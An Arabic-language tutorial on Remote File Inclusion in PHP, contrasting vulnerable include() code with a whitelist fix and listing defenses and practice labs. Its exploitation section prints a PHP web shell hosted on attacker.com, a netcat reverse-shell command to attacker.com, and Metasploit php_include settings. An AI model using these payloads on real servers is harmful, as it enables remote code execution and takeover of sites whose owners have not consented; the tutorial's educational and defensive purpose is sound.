؟ ما هي Remote File Inclusion؟
RFI هي ثغرة في تطبيقات PHP (وأحياناً لغات أخرى) تسمح للمهاجم بتضمين ملف من خادم خارجي في التطبيق. لو التطبيق ما يفلتر المدخلات بشكل صحيح، المهاجم يقدر يحقن كود PHP ضار.
// مثال URL ضعيف:
https://target.com/index.php?page=home.php
// المهاجم يستغل:
https://target.com/index.php?page=http://evil.com/shell.txt
⚠️ نتائج استغلال RFI:
- 1. تنفيذ أوامر عن بُعد (RCE) - الأخطر
- 2. السيطرة الكاملة على الخادم
- 3. تشويه الموقع أو سرقة بيانات حساسة
- 4. تنفيذ هجمات Client-Side مثل XSS
؟ ليش تحصل ثغرة RFI؟
السبب الجذري: كود PHP سيء يكتب بدون فلترة المدخلات. شوف الفرق:
كود ضعيف
// ❌ خطير جداً <?php $page = $_GET['page']; include($page); ?>
يسمح بتضمين أي ملف من الإنترنت
كود آمن
// ✅ آمن - whitelist
<?php
$allowed = ['home', 'about', 'contact'];
$page = $_GET['page'] ?? 'home';
if (in_array($page, $allowed)) {
include("$page.php");
}
?>
يقبل فقط الصفحات من القائمة المسموحة
⚡ كيف يستغلها المهاجم؟
1. الاستغلال الأساسي
المهاجم يرفع ملف PHP ضار على سيرفره الخاص، ثم يستدعيه عبر URL.
# على سيرفر المهاجم:
echo '<?php system($_GET["cmd"]); ?>' > shell.txt
# المهاجم يفتح:
http://target.com/index.php?page=http://attacker.com/shell.txt&cmd=id
2. Reverse Shell عبر Netcat
لما يكون الـ RCE محقق، المهاجم يفتح اتصال عكسي على سيرفره.
# على سيرفر المهاجم (Terminal 1):
nc -lvnp 4444
# في الـ URL:
http://target.com/index.php?page=http://attacker.com/shell.txt
# shell.txt يحتوي:
nc attacker.com 4444 -e /bin/bash
3. استغلال Metasploit
Metasploit عنده module جاهز لـ RFI.
use exploit/unix/webapp/php_include
set RHOST target.com
set PHPURI /index.php?page=XXpathXX
set PATH /shell.txt
exploit
🛡️ تجاوز Blacklist
بعض التطبيقات تحاول فلترة http/https في الـ URL. المهاجم يلتف حولها بطرق ذكية:
الطريقة 1: Null Byte Attack
في PHP قديم، null byte يقطع النص بعده ويتجاهل اللواحق
الطريقة 2: SMB Server
لو التطبيق يحظر HTTP لكن يسمح بـ UNC paths (Windows):
الطريقة 3: URL Encoding
تشفير حرف أو أكثر من URL
🛡️ كيف تحمي تطبيقك؟
✅ 1. استخدم Whitelist صارمة
حدد الصفحات المسموح تضمينها بقائمة ثابتة. لا تقبل أي input حرفي.
✅ 2. عطّل allow_url_include
يمنع PHP من تضمين URLs خارجية بشكل افتراضي
✅ 3. استخدم دوال آمنة
بدل include() استخدم خرائط ثابتة أو template engines.
✅ 4. WAF (Web Application Firewall)
ModSecurity أو Cloudflare WAF يقدر يكتشف محاولات RFI ويحظرها.
✅ 5. تحديث PHP
PHP 5.3+ أصلح كثير من Null Byte attacks. استخدم إصدار حديث دائماً.
🎯 أين تتدرب عليها؟
⚠️ مهم جداً: طبّق على تطبيقات قانونية فقط! لا تختبر على مواقع بدون إذن.
- • DVWA: Damn Vulnerable Web Application - تطبيق متعمد ضعفه للتدريب
- • bWAPP: أكثر من 100 ثغرة للتدريب
- • PortSwigger Academy: مختبرات RFI/LFI مجانية
- • HackTheBox: آلات تحاكي سيناريوهات حقيقية
📊 تصنيف الثغرة رسمياً
| CWE | الوصف |
|---|---|
| CWE-98 | التحكم غير السليم في اسم الملف لـ include/require في PHP |
| CWE-20 | التحقق غير السليم من المدخلات |
| CWE-200 | كشف معلومات حساسة لمستخدم غير مصرح له |
| CVSS Score | 9.8 - CRITICAL ⚠️ |